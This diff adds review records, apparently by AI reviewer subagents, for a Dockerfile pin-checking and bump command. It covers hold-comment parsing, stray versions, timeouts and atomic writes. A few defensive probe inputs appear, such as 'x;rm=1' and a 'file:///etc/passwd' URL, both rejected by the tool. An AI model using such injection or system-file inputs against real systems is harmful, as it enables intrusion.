spec-reviewer (fresh subagent, pass 3 cold confirm, claude-opus-5-5) +- Reviewed: 27d62097a199be158316f37fb2fe5a6ed5739642 (spec.md) + +I read the spec at 27d6209, the pass-2 diff (`git diff 738801e 27d6209`), spec-1 and spec-2 with their dispositions, `ticket show kit-48-box-pins-command` (the top-level done_when), the design's kit-48 section, Failure modes and Testing, quality.md §3, and `cloud/Dockerfile` 60-136 and 515-525. + +The earlier findings are fixed: +- spec-1 F1-F9 stay fixed at 27d6209. Pass 2 confirmed them, and the pass-2 diff touches none of them. +- spec-2 F1: the Holds paragraph now makes any `^#\s*hold\b` line that is not exactly `# hold: ` a verify problem. Acceptance 2 adds a `# Hold: x` case. +- spec-2 F2: bump step 2 now follows redirects and sends no auth header. Acceptance 4's fixture answers each download with a 302. +- spec-2 F3: a stray's problem line now names its line number and the text matched. + +The spec still follows every done-when, and it can be built. The exit codes stay consistent with the done-when, as pass 2 reasoned. Nothing in the Dockerfile matches `^#\s*hold\b`, so the real file still verifies. + +One problem was there before pass 2, and the pass-2 fix widened it. The hold-shape problems are defined only in the Holds paragraph. The numbered list that `check` and `bump` cite by number does not include them. That is F1. + +Values and refusals: +- P1 harness-agnostic: no harness is involved. Passes. +- P2 nothing project-specific: box-pins acts only on the file it is given. Passes. +- P3 decide and report: the calls are made and marked. Passes. +- P4 owner-only asks: none asked. Passes. +- P5 adversarial for authority: no authority is touched. I tried the hold path again (F1). Passes. +- P6 simple, names what isn't defended: it does. Passes. +- R1 no self-widening: nothing writes log or owner lines. Passes. +- R2 plain owner-facing words: the output is for the supervisor and CI. Passes. + +| Id | Severity | Rule | Where | Finding | Disposition | +|---|---|---|---|---|---| +| F1 | Important | ruling m-20261115-004401439; done-when 4 ("leaves a `# hold:` tool unchanged"); spec-1 F2, spec-2 F1; spec, Holds ("Either way a hold the owner meant can't be silently ignored and the tool moved by bump") | spec, verify problem 8 ("`# hold:` with no reason"); check ("any verify structure problem (1-5, 7, 8)"); bump step 1 ("problems 1-5, 7, 8 above") | Two kinds of hold line are verify problems only in the Holds paragraph: one not directly above a `_VERSION` `ARG`, and one not exactly `# hold: `. Neither is in the numbered list. Item 8 covers only an empty reason. `check` and `bump` decide whether to refuse by citing list numbers. So an implementation that follows the list makes `verify` fail on `# Hold: x`, which Acceptance 2 tests, while `check` still reports gh stale and `bump` moves it. No acceptance case runs `check` or `bump` against a bad hold line, so the tests can't catch this. That is spec-1 F2's failure again, and it is the one thing the Holds paragraph says must not happen. Fix: change item 8 to "any hold problem in Holds above: an empty reason, a `^#\s*hold\b` line (any case) that is not exactly `# hold: `, or one not directly above a tool's `ARG

_VERSION=`". Add a case in Acceptance 4: `bump` refuses with a `# Hold: x` directly above `ARG GH_VERSION=` and leaves the file byte-identical. Optionally add the same case for `check`, which should exit 2. | fixed: problem 8 now covers every hold problem; acceptance adds bump (exit 1, byte-identical) and check (exit 2) on '# Hold: x' | +| F2 | Suggestion | spec, Holds (`^#\s*hold\b`) | spec, Holds and problem 8 | BuildKit treats a line with whitespace before its `#` as a comment too. So ` # hold: x` matches neither `^#\s*hold\b` nor the exact form, and it is silently ignored. Consider `^\s*#\s*hold\b` for the problem match, so an indented hold is at least flagged. | fixed: the pattern is ^\s*#\s*hold\b | + +Verdict: CHANGES 27d62097a199be158316f37fb2fe5a6ed5739642 diff --git a/docs/devteam-dev/tickets/kit-48-box-pins-command/reviews/spec-4.md b/docs/devteam-dev/tickets/kit-48-box-pins-command/reviews/spec-4.md new file mode 100644 index 0000000..5185359 --- /dev/null +++ b/docs/devteam-dev/tickets/kit-48-box-pins-command/reviews/spec-4.md @@ -0,0 +1,26 @@ +# Spec review, pass 4 + +- Reviewer: spec-reviewer (fresh subagent, pass 4 cold confirm, claude-opus-5-5) +- Reviewed: f7003be3de59bac71ba0e09c4fec39dd2cab06c5 (spec.md) + +I read the spec at f7003be, the pass-3 diff (`git diff 27d6209 f7003be`), spec-1 and spec-3 with their dispositions, `ticket show kit-48-box-pins-command` (the top-level done_when), and quality.md §3. I also grepped `cloud/Dockerfile` for `^\s*#\s*hold\b` (any case) and found no match. + +The pass-3 findings are fixed: +- spec-3 F1: verify problem 8 now covers every hold problem the Holds paragraph names: an empty reason, a line matching `^\s*#\s*hold\b` that is not exactly `# hold: `, and a hold not directly above a tool's `ARG

_VERSION=`. `check` and `bump` refuse on problems 1-5, 7 and 8, so both now refuse on all of them. Acceptance 2 adds the cases: `bump` exits 1 with the file byte-identical, and `check` exits 2. Both exit codes match the `check` and `bump` sections. +- spec-3 F2: the hold pattern is now `^\s*#\s*hold\b`, both in Holds and in problem 8. An indented ` # hold: x` is not exactly `# hold: `, so it is flagged rather than ignored. + +The earlier findings (spec-1 F1-F9, spec-2 F1-F3) are untouched by this diff. The spec still restates every done-when faithfully and can be built. The wider hold pattern matches nothing in the real Dockerfile, so done-when 2's "verify exits 0 on the kit's cloud/Dockerfile" still holds. One small overlap does not change what gets built: problem 4 leaves out "`# hold:` lines", so a malformed hold line that names a version can also show up as a stray. It is already a problem-8 failure, so the exit status is the same. + +Values and refusals: +- P1 harness-agnostic: no harness is involved. Passes. +- P2 nothing project-specific: box-pins acts only on the file it is given. Passes. +- P3 decide and report: the calls are made and marked. Passes. +- P4 owner-only asks: none asked. Passes. +- P5 adversarial for authority: no authority is touched. I tried the hold path again (malformed, indented, misplaced), and each one refuses in verify, check and bump. Passes. +- P6 simple, names what isn't defended: it does. Passes. +- R1 no self-widening: nothing writes log or owner lines. Passes. +- R2 plain owner-facing words: the output is for the supervisor and CI. Passes. + +No findings. + +Verdict: APPROVE f7003be3de59bac71ba0e09c4fec39dd2cab06c5 diff --git a/docs/devteam-dev/tickets/kit-48-box-pins-command/reviews/task-1-2.md b/docs/devteam-dev/tickets/kit-48-box-pins-command/reviews/task-1-2.md new file mode 100644 index 0000000..55f4724 --- /dev/null +++ b/docs/devteam-dev/tickets/kit-48-box-pins-command/reviews/task-1-2.md @@ -0,0 +1,21 @@ +# Task 1 review, pass 2 + +- Reviewer: task-reviewer (fresh subagent, cold confirm, claude-opus-5-5) +- Reviewed: 5d960025dc4ec26121936c592b3c96375f2f1409 + +I reviewed the T1 parts of 95ac0fc..5d96002 (`readPins` holds and strays, the `DEVTEAM_BOX_TOOLS` message, `releaseFlag`, and the new test 'verify names what it found, where') against pass 1's findings, spec.md and plan.md Task 1. I ran the verify tests on a `git archive` snapshot of 5d96002 with the env-cleared command: 5 pass, 0 fail. I also probed the snapshot kit from a scratch kit-own fixture repo against the real `cloud/Dockerfile`. + +Each pass-1 finding, confirmed: +- F1: fixed. A stray now prints the match with 24 characters on each side. A sum placed after 100 characters of a long `RUN` line is shown in full (`line 116: aaaa... c5221f...d83 tail`). A match at the start of a line is shown too (`line 116: 2.104.0`). The new test asserts `v2.104.0/gh_2.104.0` after `line :`. The old 80-character cut would have failed that. +- F2: fixed. The regex `^# hold:(?: (.*))?$` rejects `# hold:x` and `# hold:reason` as looks-like-a-hold. It still treats `# hold:` and `# hold: ` as "has no reason", and it accepts `# hold: reason`, whose reason is trimmed. The `m[1]?.trim()` guard covers the undefined group. All three bad forms are tested. +- F3: fixed. An unknown pair matching `[\w.+=$-]{1,80}` is printed as written (`node=$NODE_VERSION`, tested). Anything else, e.g. `x;rm=1`, still prints as `?`. +- F4: fixed as its disposition states. Tests now cover problem 7 (missing, extra and absent), a sum stray, a duplicate and an empty ARG, no DEVTEAM_RELEASE, a hold naming versions, mise's version without its `v`, the indented and `#hold:` forms, and exact line numbers through `lineOf`. +- F5: fixed. `--release`, `--release=` and `--release v1.2` exit 1 and print the usage line. A valid but wrong `--release v1.2.3` still gives the DEVTEAM_RELEASE mismatch. + +Nothing new broke: the real Dockerfile still verifies (`ok, 6 tools, release v0.52.0`), and the earlier verify tests still pass. + +| Id | Severity | Rule | Where | Finding | Disposition | +|---|---|---|---|---|---| +| F1 | Suggestion | quality.md §3 (tests that fail against a wrong implementation) | test/machine.test.mjs, 'verify names what it found, where', comment "a stamp or a hold naming a version is no stray" | The comment names two cases but only the hold is tested. No test sets a tool's version equal to DEVTEAM_RELEASE's bare version (e.g. a tool at `0.52.0`) to show that the `ARG DEVTEAM_RELEASE=` line is skipped by the stray scan. The code does skip it (`rel.forEach((i) => pinLines.add(i))`). Add that case, or trim the comment. | fixed: a case with a tool at the stamp's number (UV 0.52.0, release v0.52.0) verifies ok | + +Verdict: APPROVE 5d960025dc4ec26121936c592b3c96375f2f1409 diff --git a/docs/devteam-dev/tickets/kit-48-box-pins-command/reviews/task-1.md b/docs/devteam-dev/tickets/kit-48-box-pins-command/reviews/task-1.md new file mode 100644 index 0000000..55221b4 --- /dev/null +++ b/docs/devteam-dev/tickets/kit-48-box-pins-command/reviews/task-1.md @@ -0,0 +1,41 @@ +# Task 1 review + +- Reviewer: task-reviewer (fresh subagent, claude-opus-5-5) +- Reviewed: cf48df93d3cef24ed0cae70a31e3cf3306be1e5f + +I reviewed the diff b10f1d4..cf48df9 in `docs/devteam/scripts/devteam.mjs` and `test/machine.test.mjs` against plan.md Task 1 and spec.md: verify problems 1-8, Holds, Dispatch and the tool table. I read the surrounding code too: `parseArgs`, `die`, `repoRoot`, `homeAt`, the `DEVTEAM_RUN` check and the dispatch at the end of the file. I ran the four T1 tests on a `git archive` snapshot of cf48df9 with the env-cleared command, and all four pass. (The worktree also has uncommitted T2 test edits, which I did not review.) I then probed the committed kit from a scratch kit-own fixture repo, using Dockerfiles made from the real one. + +What holds: +- The table matches the spec: the order, the prefixes, the upstreams and the asset names. gh's asset name uses the bare version and mise's keeps the `v`. claude-swap is read through `uv tool list` with `UV_TOOL_DIR`. `firstVersion` is the spec's regex. +- The real Dockerfile verifies: `ok, 6 tools, release v0.52.0`. +- Problem wordings match the plan's list. + - An empty version gives `gh's GH_VERSION is empty`. + - A duplicate gives `uv's UV_VERSION is given 2 times`. + - The hex check passes the TTYD case. + - A missing or extra `DEVTEAM_BOX_TOOLS` pair is reported. + - A sum in a comment is caught as `ttyd's TTYD_SHA256_X86_64 sum is written outside its ARG (line 76: ...)`. +- Line numbers are 1-based. With a hold inserted above `ARG GH_VERSION` at line 91, the hold is reported on line 90 and the real gh URL on line 98. +- Holds: + - Flagged as problems: ` # hold: x` (indented), `#hold: x`, `# HOLD: x`, `# hold - x` and a whitespace-only `# hold: `. + - Accepted: `# holder: x` (no `\b` match) and a hold whose reason names a version and a sum (the stray scan skips the line). + - A hold directly above a `_SHA256` ARG is reported as not directly above a `_VERSION` ARG. +- The stray scan skips every pin ARG line, including another tool's pin at the same version. +- Dispatch: + - `box-pins installed` passes `machineWide` and the `DEVTEAM_RUN` exemption. A kit in no repo, a cwd in no repo and a foreign `DEVTEAM_RUN` reach `installed: not yet`. In the kit-own fixture, `verify` with that same foreign `DEVTEAM_RUN` is still refused. + - `KIT_VIEWS` lets `verify` run in the kit-own fixture. + - `box-pins` with no mode prints the usage line and exits 1. +- `pinsFile` exits 2 with the spec's line, both for a missing default and for a directory given as `--dockerfile`. +- `--release v0.52.0` passes, and `--release v1.2.3` against a v0.52.0 file is caught. +- The tests would catch an implementation that bounds versions with `\b`, since that misses both literals in the URL case. They would also catch one that does not skip other tools' pin ARGs, or that drops any of the four hold arms. + +One Important problem blocks: a stray's problem line can cut off the very text it found (F1). + +| Id | Severity | Rule | Where | Finding | Disposition | +|---|---|---|---|---|---| +| F1 | Important | spec verify 4 ("A stray's problem line names its line number and the text matched", spec-2 F3); plan T1 Step 3 wording `(line : )` | devteam.mjs `readPins`, `excerpt` (`l.trim()...slice(0, 80)`) | The message prints the first 80 characters of the trimmed line, not the text matched. On a long line the match falls past the cut. On the acceptance case itself (gh's `$GH_VERSION` replaced in the download URL), verify prints `gh's version 2.104.0 is written outside its ARG (line 98: && curl -fsSL -o /tmp/gh.tgz "https://github.com/cli/cli/releases/download/v2.10)`, so the version it names is cut off. A sum stray in a long `RUN` line would not appear at all. Print the match itself (`re.exec(l)[0]`), or a window around its index. The test should then assert the matched text, e.g. `\(line \d+: [^)]*2\.104\.0`. | fixed: the problem shows the match with 24 characters around it; test 'verify names what it found, where' asserts the URL and a sum stray | +| F2 | Minor | spec Holds ("not exactly `# hold: `") | devteam.mjs `readPins`, `/^# hold:(.*)$/` | `# hold:x` (no space after the colon) is accepted as a hold with reason `x`. The spec's exact form is `# hold: `, and it lists `#hold:` as a problem. Either require `^# hold: (.*)$` (still treating `# hold:` and `# hold: ` as "no reason"), or say in the spec that the space is optional. | fixed: '# hold:x' (and indented, '#hold:') is a looks-like-a-hold problem; tested | +| F3 | Minor | plan T1 Step 3 ("Values in a message pass through the filter"), read for its purpose | devteam.mjs `readPins`, `DEVTEAM_BOX_TOOLS names ${safe(x)}` | Every pair contains `=` (and usually `$`), and `safe` rejects both. So an unknown pair is always printed as `DEVTEAM_BOX_TOOLS names ?, which is no tool's` (a probe with `foo=bar` confirmed it), and the message never says which pair. This text comes from the local file, not the network. Use a filter that admits `=` and `$` (for example the same printable-ASCII excerpt as F1), or name only the part before `=` after `safe`. | fixed: an unknown pair prints as written when it is [\w.+=$-]{1,80}; tested | +| F4 | Minor | quality.md §3 (tests that fail against a wrong implementation); spec verify 4, 7 | test/machine.test.mjs, T1 section | Several required behaviours have no test that would fail if they broke: problem 7 (`DEVTEAM_BOX_TOOLS` missing, duplicated or with an unknown pair); sum strays; duplicate or empty ARGs; the skip of `ARG DEVTEAM_RELEASE=` and of `# hold:` lines in the stray scan (a tool at `0.52.0`, or a hold reason naming a version); a version searched without its `v` (mise); an indented hold; and exact line numbers (every assertion uses `\d+`). The spec's listed acceptance cases are all present. Add the cheap ones, at least problem 7, a sum stray, a hold reason naming a version, and one exact line number. | fixed: tests added for problem 7 (missing, extra, absent), a sum stray, duplicate and empty ARGs, no DEVTEAM_RELEASE, a hold naming versions, mise's version without its v, an indented hold, exact line numbers | +| F5 | Suggestion | spec verify 6 ("`--release` itself not `vX.Y.Z`: the usage error, exit 1") | devteam.mjs `releaseFlag` | A bad or empty `--release` exits 1 with `box-pins: --release "v1.2" is not vX.Y.Z`. That is clear, but it is not the usage line. Append `\nusage: ${BOX_PINS_USAGE}` if the spec means the line literally. | fixed: a bad --release prints the usage line too; tested | + +Verdict: CHANGES cf48df93d3cef24ed0cae70a31e3cf3306be1e5f diff --git a/docs/devteam-dev/tickets/kit-48-box-pins-command/reviews/task-2-2.md b/docs/devteam-dev/tickets/kit-48-box-pins-command/reviews/task-2-2.md new file mode 100644 index 0000000..f020812 --- /dev/null +++ b/docs/devteam-dev/tickets/kit-48-box-pins-command/reviews/task-2-2.md @@ -0,0 +1,26 @@ +# Task review, Task 2, pass 2 (cold confirm) + +- Reviewer: task-reviewer pass 2 (fresh subagent, claude-opus-5-5) +- Reviewed: da58913d768b5bbb0b178fb92f856726c993f3d4 + +I read `git show da58913 -- docs/devteam/scripts/devteam.mjs test/machine.test.mjs` and checked it against pass 1's findings and dispositions (task-2.md), plan.md Task 2 and spec.md. I ran the `check|verify|bump` tests from a `git archive da58913` copy on Node v18.20.4. 20 passed and 0 failed. I also probed by hand: +- `box-pins verify` on the real `cloud/Dockerfile` says `ok, 6 tools, release v0.52.0` and exits 0. mise's `v2026.10.17` and the other real pins pass the new plain-version check. +- `UV_VERSION=0.13.7-rc1` gives `uv's UV_VERSION 0.13.7-rc1 is not a plain version`. A trailing space gives `?` through `safe`, and an empty pin still gives `is empty` (not both). `check` on the rc1 file refuses with exit 2 before any fetch. +- With a probe server and `DEVTEAM_PINS_TIMEOUT_MS=1500`, a server that never answers and a server that sends headers then stalls its body both give `uv: unknown unreachable (timed out)`, with exit 3. +- The stricter fixture accepts what the real code sends. The only npm tool, `@anthropic-ai/claude-code`, is sent as `%2f`. GitHub is sent `per_page=30` and `accept: application/vnd.github+json`. I mutated the scratch copy twice: dropping the `%2f` encoding fails 7 tests (check and bump), and deleting the new verify problem fails the verify test. + +Each fix checked against its disposition: +- F1 holds. A timeout reads `unreachable (timed out)` as our own words, outside `safe`. Other codes still go through `safe`. +- F2 holds. The new problem is in `readPins`, so verify reports it and check and bump refuse on it. It is tested. +- F3 holds. The new test has gh stale alongside three unknowns and asserts exit 1 for the text run and the `--json` run. +- F4 holds. The answer and the body share one deadline (`res.text()` under the same signal), and I confirmed this by probe. No test covers a stalled body, since the fixture's `hang` never sends headers. The fix is small and the probe confirms it, so I raise nothing. +- F5 holds. The fixture refuses a request without `%2f`, without `per_page=30` or without the accept header. `no release`, `bad JSON` and a timeout are tested. +- F6 does not match its record (F6-2). The code and T3 use `latestOf(tool)`, which is fine. But I found no ruling for it, either in plan.md's Rulings or in `docs/devteam/project/log/`, and plan.md:117 still says `latestOf(tool, pinned)`. + +Nothing new broke. + +| Id | Severity | Rule | Where | Finding | Disposition | +|---|---|---|---|---|---| +| F6-2 | Suggestion | | plan.md:117 (Task 2 Interfaces); task-2.md F6 disposition | F6's disposition says "ledgered as a ruling", but no such ruling is in plan.md `## Rulings` or in the log (a grep for `latestOf` under `docs/devteam/project/` finds nothing), and the plan still gives the signature `latestOf(tool, pinned)`. The code is right. Either add the ruling line to plan.md's Rulings, or correct the disposition so it says where the note went. | fixed: the builder rulings are now in plan.md's Rulings section (the ledger was git-ignored) | + +Verdict: APPROVE da58913d768b5bbb0b178fb92f856726c993f3d4 diff --git a/docs/devteam-dev/tickets/kit-48-box-pins-command/reviews/task-2.md b/docs/devteam-dev/tickets/kit-48-box-pins-command/reviews/task-2.md new file mode 100644 index 0000000..ae871cf --- /dev/null +++ b/docs/devteam-dev/tickets/kit-48-box-pins-command/reviews/task-2.md @@ -0,0 +1,37 @@ +# Task review, Task 2 (the upstream reader and `check`) + +- Reviewer: task-reviewer (fresh subagent, claude-opus-5-5) +- Reviewed: 95ac0fcb7d02b5ee8158c9067fcb15447f78ef53 + +I read `git diff cf48df9 95ac0fc` for `docs/devteam/scripts/devteam.mjs` and `test/machine.test.mjs`, then checked it against plan.md Task 2 and spec.md (`check`, Security, Edge cases). I also read the T1 helpers it consumes at 95ac0fc (`safe`, `versionParts`, `newer`, `pinForm`, `readPins`, `pinsFile`, `pinsEnv`, `pinsAsync`). I ran the five `check` tests from a `git archive 95ac0fc` copy on Node v18.20.4, and all pass. Against a copy of the kit in a scratch kit-own repo I then ran: +- `check` and `check --json` against the real npm, PyPI and GitHub APIs, anonymously. Both work, exit 1, and gh and ttyd match `releases/latest` (v2.104.0, 1.7.7). +- a probe server for each failure mode: + - a 404 gives `HTTP 404`. + - a 200 with an HTML body gives `bad JSON`. + - a C1 `\u009b` in the PyPI version gives `not a release: ?`. + - a list of nulls, numbers and non-string tags, or an empty list, gives `no release` and exit 3. + - a server that never answers gives `unreachable (?)` after 15.1 s. + - a body that stalls after its headers gives `bad JSON` after 15.1 s. +- a pin that is not a plain version. + +What holds: +- The three URL shapes match the real APIs. npm takes `%2f` (unencoded works too). PyPI `info.version` and GitHub `releases?per_page=30` are right, and the GitHub headers are the plan's. +- The draft and prerelease filters work, and the release is chosen as the highest by `newer`, not the first entry. The prerelease test fails for each wrong variant: no filter (2.0.0), one filter only, or first-match (1.6.9 reads as current). +- `GH_TOKEN` is added only in the GitHub branch. The token test checks every hit both with the token set and without it, and `pinsEnv` clears `GH_TOKEN` and `GITHUB_TOKEN`. +- Every `why` is our own words plus a number or a `safe()` code. Pinned and latest pass through `safe`, and hold reasons pass through `holdText`. The `\u001b` test fails against a raw print. +- The exit codes are right: 1 for stale, 3 for unknown, 0, and 2 for problems or a missing file. Both `--json` shapes are the spec's. +- `fetch`, `AbortSignal.timeout`, `closeAllConnections?.()` and the AggregateError code path all work on Node 18. +- The fixture server listens on 127.0.0.1:0, is `unref()`'d, and is closed in `t.after`. A non-2xx body left unread did not delay exit (about 230 ms). + +One finding blocks: a pin that is not a plain version always reads `current` (F2). + +| Id | Severity | Rule | Where | Finding | Disposition | +|---|---|---|---|---|---| +| F1 | Minor | plan T2 Step 3 ("a fetch error `unreachable ()`"); spec Edge cases (a why is "our own words plus ... an error code") | devteam.mjs `upstreamJson`, `safe(... 'timed out' ...)` | The 15 s timeout reports `unreachable (?)`. `safe` allows only `[\w.+-]`, so the space in `timed out` turns the whole word into `?`. I reproduced this with a server that never answers. Put the fixed word outside `safe`, as in `` e?.name === 'TimeoutError' ? 'unreachable (timed out)' : `unreachable (${safe(code)})` ``, or use `timeout`. | fixed: a timeout reads 'unreachable (timed out)' (our words, not filtered); tested with DEVTEAM_PINS_TIMEOUT_MS | +| F2 | Important | spec check ("`: stale -> `"; a pin newer than upstream reads current); quality §3 (a real defect with a plausible failure path) | devteam.mjs `checkPins` (`newer(latest, version)`); T1 `newer` returns false when either side fails `versionParts` | A pin that is not a plain version always reads `current`, however far upstream has moved. `readPins` accepts any non-empty value, and `newer` is false for an unparseable side. With `ARG UV_VERSION=0.13.7-rc1`, `verify` says ok, and `check` against the real API prints `uv: current 0.13.7-rc1` while uv is at 0.13.8. Someone trying out a prerelease pin is plausible, and check would then hide it for good. T3 inherits the same problem, since bump skips unless `newer`. Report it as `unknown pin is not a release` (exit 3), or make it a verify problem in T1 so check refuses it with exit 2. Add a test either way. | fixed: a _VERSION that isn't a plain version is a verify problem, so check and bump refuse it; tested | +| F3 | Minor | spec check ("Exit 1 when any tool is stale; else 3 when any is unknown") | machine.test.mjs, the check tests | No test has a stale tool and an unknown one in the same run with the exit asserted. A test with both would fail if the precedence were swapped (3 before 1), and none does. The second run in the unreachable test has both (npm is stale by default, mise answers 500) but checks only the mise line. Assert `status === 1` there. Also assert the exit of the stale `--json` run (`sj`), which is not checked. | fixed: a test with one stale and several unknown asserts exit 1, text and --json | +| F4 | Suggestion | | devteam.mjs `upstreamJson`, `res.json()` catch | A body that stalls past the timeout reports `bad JSON`, because the abort rejects `res.json()`. If the rejection's name is `TimeoutError`, give the timeout's why. | fixed: answer and body share one deadline; a stalled body reads 'unreachable (timed out)' | +| F5 | Suggestion | | machine.test.mjs `upstream()` | The fixture decodes the npm path and ignores the query string and headers. It would accept an unencoded scoped name, a missing `per_page=30`, or no `accept` header (the real APIs take all three, so this is low risk). `no release` and `bad JSON`, both spec'd whys, are not tested, and neither is the timeout. A list of prereleases only, plus one 200 with a non-JSON body, would cover the first two cheaply. | fixed: the fixture refuses a request without %2f, per_page=30 or the accept header; no release, bad JSON and a timeout tested | +| F6 | Suggestion | plan T2 Interfaces (`latestOf(tool, pinned)`) | devteam.mjs `latestOf(tool)` | The signature has no `pinned`. Nothing needs it, but state this in the plan or in T3's notes so T3 is not written against the plan's signature. | fixed: ledgered as a ruling (latestOf(tool), the pin not needed); T3 uses it so | + +Verdict: CHANGES 95ac0fcb7d02b5ee8158c9067fcb15447f78ef53 diff --git a/docs/devteam-dev/tickets/kit-48-box-pins-command/reviews/task-3-2.md b/docs/devteam-dev/tickets/kit-48-box-pins-command/reviews/task-3-2.md new file mode 100644 index 0000000..5186468 --- /dev/null +++ b/docs/devteam-dev/tickets/kit-48-box-pins-command/reviews/task-3-2.md @@ -0,0 +1,28 @@ +# Task review, Task 3 (`box-pins bump`), pass 2 + +- Reviewer: task-reviewer (fresh subagent, cold confirm, claude-opus-5-5) +- Reviewed: d0062cd8300b8d848a89a482b6b1c3504d576f4f + +I read `git show d0062cd` for `docs/devteam/scripts/devteam.mjs`, `test/machine.test.mjs` and the plan's new "Builder rulings" section, and checked each against pass 1's record (`task-3.md`) and its dispositions. I ran the nine `bump` tests from a `git archive d0062cd` copy on Node v18.20.4, and all pass. + +The pass-1 findings: +- **F1, fixed.** The new test adds `(1.7.8 fixes resize)` to ttyd's comment. Bump exits 1 with `the result would not verify (ttyd's version 1.7.8 is written outside its ARG ...)`, and the file stays byte-identical. +- **F2, fixed.** The mode test uses 0o664. A umask of 022 would strip that to 0o644, so the test now depends on the `chmodSync`. +- **F3, fixed in code.** The fetch and the `arrayBuffer()` read both throw `download of failed (|timed out)`, and the fetch catch now also reads `e.cause.errors[0].code`. The test covers a refused port (`ECONNREFUSED`) and a hang that never sends headers (`timed out`). The disposition says a stalled body is tested too. It is not (F1-2). +- **F4, fixed.** `fs.realpathSync(file)` resolves the file before it is written. Its stat, its temp file `..tmp` and the rename all use the real path, so the temp file sits beside the target and the rename stays atomic. The new test checks that the link stays a link and the target is bumped. +- **F5, fixed.** The test now `deepEqual`s every line that does not start with `ARG `. + +I checked these in scratch tests on a copy, against the real code. +- **A body that stalls after its headers** (200 with content-length 1000 and 7 bytes sent), with `DEVTEAM_PINS_TIMEOUT_MS=800`: `download of uv-x86_64-unknown-linux-gnu.tar.gz failed (timed out); nothing written`, exit 1. +- **A connection reset mid-body:** `failed (UND_ERR_SOCKET)`, exit 1. +- **A relative symlink in another directory, chained through a second link, with the target at 0o600:** exit 0. Both links stay links, the target is bumped and keeps 0o600, and no `.tmp` file is left in either directory. +- **realpath on a missing file:** it can't be reached. `pinsFile()` reads the file first, so a dangling link and a missing path both exit 2 with `no cloud/Dockerfile at ...`, before any download. +- **The timeout knob:** unset, `Number(undefined) || 120000` gives 120 s for downloads, the same as before. `'0'` and junk fall back too. Only a positive number set on purpose shortens it, and the comment at devteam.mjs:14005 calls it test-only. + +Mutation: I put back the unwrapped `bytes = Buffer.from(await res.arrayBuffer());`. The task-3 review test still passes, but my scratch body-stall case then prints undici's own `The operation was aborted due to timeout`, and the reset case prints `terminated` (F1-2). + +| Id | Severity | Rule | Where | Finding | Disposition | +|---|---|---|---|---|---| +| F1-2 | Minor | quality.md §3 (a disposition's "tested" must hold); task-3 F3 disposition | test/machine.test.mjs (task-3 review test, "a download whose body stalls"); fixture `state.hang` at :1006 | The case labelled "a download whose body stalls" uses `state.hang`. That returns before `writeHead`, so the stall happens in `fetch()`, not in `arrayBuffer()`. With the body-read `try` removed, the test still passes. The code is right: my scratch stall-after-headers and reset cases print `failed (timed out)` and `failed (UND_ERR_SOCKET)`. Exit 1 and nothing written hold either way, so only the wording is unguarded. Adding a fixture mode that writes headers and part of the body and then stalls, plus an assertion of `failed (timed out)`, would cover the path the disposition names. | fixed: the fixture now sends headers and part of the body, then stalls; with the body-read wrapper removed the test fails (checked) | + +Verdict: APPROVE d0062cd8300b8d848a89a482b6b1c3504d576f4f diff --git a/docs/devteam-dev/tickets/kit-48-box-pins-command/reviews/task-3.md b/docs/devteam-dev/tickets/kit-48-box-pins-command/reviews/task-3.md new file mode 100644 index 0000000..1966164 --- /dev/null +++ b/docs/devteam-dev/tickets/kit-48-box-pins-command/reviews/task-3.md @@ -0,0 +1,37 @@ +# Task review, Task 3 (`box-pins bump`) + +- Reviewer: task-reviewer (fresh subagent, claude-opus-5-5) +- Reviewed: 79c5d9a1e8fb18998c77309fe45a2d02a4f82093 + +I read `git diff 79c5d9a^ 79c5d9a` for `docs/devteam/scripts/devteam.mjs` and `test/machine.test.mjs`. I checked it against plan.md Task 3 and its Rulings, including the supervisor's ruling that buffered hashing is fine, and against spec.md (the bump section, Security, Edge cases). I also read the T1 and T2 helpers it uses at 79c5d9a: `readPins`, `newer`, `pinForm`, `latestOf`, `releaseFlag`, `pinsFile`, `safe` and `die`. I ran the eight `bump` tests from a `git archive 79c5d9a` copy on Node v18.20.4, and all pass. + +I added scratch tests to that copy. Each one behaved as below. +- **Hanging download.** claude-code's npm answered 503 while gh's downloads went to a server that never answers. The run exited 1 in about 0.5 s with `claude-code: HTTP 503; nothing written`. `die` calls `process.exit`, so the other downloads still running do not keep the process alive. +- **Stalled body.** I cut the timeout to 1.5 s in a copy. A body that stalls after its headers is aborted (`AbortSignal.timeout` covers `arrayBuffer()` on Node 18), and the run exits 1. +- **`file:///etc/passwd` asset URL.** Refused with `has no download URL`, and the file is untouched. +- **Asset with no `digest`.** The sum written is the sha256 of the downloaded bytes. +- **New version also written outside its ARG.** I added a comment naming ttyd's new `1.7.8`. The in-memory re-verify refuses it and nothing is written. +- **Unwritable directory.** Exit 1, the file is untouched, and no temp file is left. +- **Umask 077 on a 0o664 file.** The mode stays 0o664. + +What holds: +- Sums come from the bytes, and GitHub's digest is only a cross-check. No auth header goes with a download. +- A held tool, and a tool already current, get no request and no download. +- An older `--release` is refused, and an equal one is allowed. +- Only the `versionLine`, `sumLines` and `releaseLine` lines are replaced, and values go through `versionParts`, hex and `vX.Y.Z` checks. +- The temp file is `..tmp` beside the file. It is chmodded, renamed into place, and removed on failure. A dry run downloads and writes nothing, and an identical result prints `unchanged` without writing. + +Mutation runs (a scratch copy, the bump tests): +- Deleting the re-verify `die`: all 8 pass (F1). +- Deleting `fs.chmodSync(tmpFile, mode)`: all 8 pass (F2). +- Deleting the digest comparison: the digest test fails, as it should. + +| Id | Severity | Rule | Where | Finding | Disposition | +|---|---|---|---|---|---| +| F1 | Important | spec bump step 4 ("It must pass verify `--release` (in memory) before it is written"); plan T3 Step 3; quality.md §3 (mutate where a test can't prove a property) | devteam.mjs:14126-14128; test/machine.test.mjs (no case) | The re-verify before writing is the gate that stops an unverifiable Dockerfile from shipping, and no test exercises it. Replacing `if (again.problems.length) die(...)` with `if (false)` leaves all 8 bump tests passing. A realistic failure path exists: a comment or RUN that already names the new upstream version (for example `# ttyd ... see 1.7.8`) turns into a stray after the bump. Add a case that bumps such a file, expects exit 1 and `the result would not verify (... written outside its ARG ...)`, and checks the file is byte-identical. My scratch run shows the current code passes it. | fixed: a test where a comment already names ttyd's next version: bump exits 1 'would not verify', file byte-identical | +| F2 | Minor | spec bump step 4 ("given the original's mode"); plan T3 test `bump keeps the file's mode` | test/machine.test.mjs:1175 | The mode test uses 0o640 under the default umask 022. `writeFileSync(..., { mode: 0o640 })` already gives 0o640, so the test passes with the `chmodSync` deleted and cannot catch a umask-dependent mode. Use a mode the umask would strip (0o666 or 0o664), or run the bump under `umask 077`. Both pass against the current code. | fixed: the mode test uses 0o664 | 